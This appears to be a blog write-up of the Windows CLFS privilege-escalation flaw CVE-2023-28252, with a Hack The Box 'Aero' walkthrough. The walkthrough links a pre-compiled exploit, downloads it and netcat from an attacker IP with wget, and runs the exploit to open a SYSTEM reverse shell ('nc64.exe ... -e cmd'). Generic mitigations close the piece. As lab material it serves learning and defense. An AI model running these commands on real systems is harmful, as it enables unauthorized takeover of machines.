Understanding CVE-2023-28252: Deep Dive into the CLFS Privilege Escalation Vulnerability

2024.05.11

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Understanding CVE-2023-28252: A Deep Dive into CLFS Privilege Escalation

CVE-2023-28252 represents a critical vulnerability in Microsoft’s Common Log File System (CLFS) that allows local privilege escalation to SYSTEM.

What is CLFS?

The Common Log File System (CLFS) is a logging subsystem introduced in Windows Server 2003 R2. Unlike traditional logging systems, CLFS provides:

Component Overview

CLFS Architecture:
├── Log Container
│   ├── Base Log File (.blf)
│   └── Container Files (.clf)
├── Stream Management
│   ├── Virtual Log Files
│   └── Log Blocks
└── Client Interface
    ├── User Mode API
    └── Kernel Mode API

Key Features

Transactional logging with ACID properties
High-performance sequential I/O operations
Crash recovery capabilities
Structured storage for log records

Technical Deep Dive

Vulnerability Details

The vulnerability exists in the CLFS driver (CLFS.SYS) and involves:

Memory allocation issues in the CLFS driver
Improper validation of user-controlled input
Potential for heap corruption leading to privilege escalation

Real-World Exploitation Example

This was performed on the hack the box machine Aero:
- https://app.hackthebox.com/machines/Aero

Available Proof of Concept

A pre-compiled exploit is available at:

https://github.com/duck-sec/CVE-2023-28252-Compiled-exe
Note: This exploit allows passing another binary as an argument for privileged execution

Initial Setup and Exploitation

After discovering the target is vulnerable to CVE-2023-28252, we locate a suitable pre-compiled exploit:

https://github.com/duck-sec/CVE-2023-28252-Compiled-exe
Note: This exploit allows us to pass another binary as an argument, which is ideal for obtaining a reverse shell as NT/Authority

Clone the Exploit:

   git clone https://github.com/duck-sec/CVE-2023-28252-Compiled-exe.git

Transfer Required Files to Target: First, transfer the exploit:

   wget http://10.10.14.121:9000/exploit.exe -o ex.exe

Then, transfer netcat for the reverse shell:

   wget http://10.10.14.121:9000/nc64.exe -o nc64.exe

Setup Reverse Shell Listener: On the attack machine:
```
   rlwrap -cAr nc -nvlp 443
```
Execute Exploit: Trigger the exploit with netcat as the payload:
```
   .\ex.exe 1208 1 "C:\Users\sam.emerson\Documents\nc64.exe 10.10.14.121 443 -e cmd"
```
- Command breakdown:
  - .\ex.exe: The compiled exploit executable
  - 1208: Process ID to target
  - 1: Execution mode flag
  - Netcat parameters:
    - 10.10.14.121: Attacker’s IP address
    - 443: Port to connect back to
    - -e cmd: Execute cmd.exe and bind it to the connection
Confirm Privilege Escalation: Successfully receive NT/Authority SYSTEM shell:

Impact Analysis

Affected Systems Matrix:

Windows Version	Architecture	Vulnerable
Server 2022	x64	Yes
Server 2019	x64	Yes
Windows 11	x64	Yes
Windows 10	x64	Yes

Detection and Prevention:

Mitigation Strategies:

System Updates:
- Apply latest Windows security updates
- Enable automatic updates
Access Controls:
- Implement principle of least privilege
- Monitor and restrict access to CLFS-related operations
System Monitoring:
- Monitor for suspicious CLFS operations
- Track privilege escalation attempts